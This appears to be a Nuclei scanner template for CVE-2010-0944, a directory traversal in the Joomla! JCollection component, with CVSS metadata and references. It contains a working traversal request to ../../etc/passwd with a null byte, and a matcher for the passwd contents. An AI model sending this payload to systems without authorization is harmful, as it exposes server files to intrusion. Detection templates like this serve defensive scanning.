id: CVE-2010-0944 info: name: Joomla! Component com_jcollection - Directory Traversal author: daffainfo severity: medium description: A directory traversal vulnerability in the JCollection (com_jcollection) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. impact: | An attacker can exploit this vulnerability to read arbitrary files on the server. remediation: Apply all relevant security patches and product upgrades. reference: - https://www.exploit-db.com/exploits/11088 - https://nvd.nist.gov/vuln/detail/CVE-2010-0944 - http://packetstormsecurity.org/1001-exploits/joomlajcollection-traversal.txt - http://www.exploit-db.com/exploits/11088 - https://exchange.xforce.ibmcloud.com/vulnerabilities/55514 classification: cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N cvss-score: 5 cve-id: CVE-2010-0944 cwe-id: CWE-22 epss-score: 0.00477 epss-percentile: 0.75244 cpe: cpe:2.3:a:thorsten_riess:com_jcollection:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: thorsten_riess product: com_jcollection tags: cve2010,cve,joomla,lfi,edb,packetstorm,thorsten_riess http: - method: GET path: - "{{BaseURL}}/index.php?option=com_jcollection&controller=../../../../../../../etc/passwd%00" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4a0a0047304502203edf2b86718735a85d6b60ac6465e0d7f9aa063bbfb985ecba7fd8a82500bcc6022100a9017abad716d08a60243fdb71aed727e1b0bc2e44c3d591e200168e9f7bc182:922c64590222798bb761d5b6d8e72950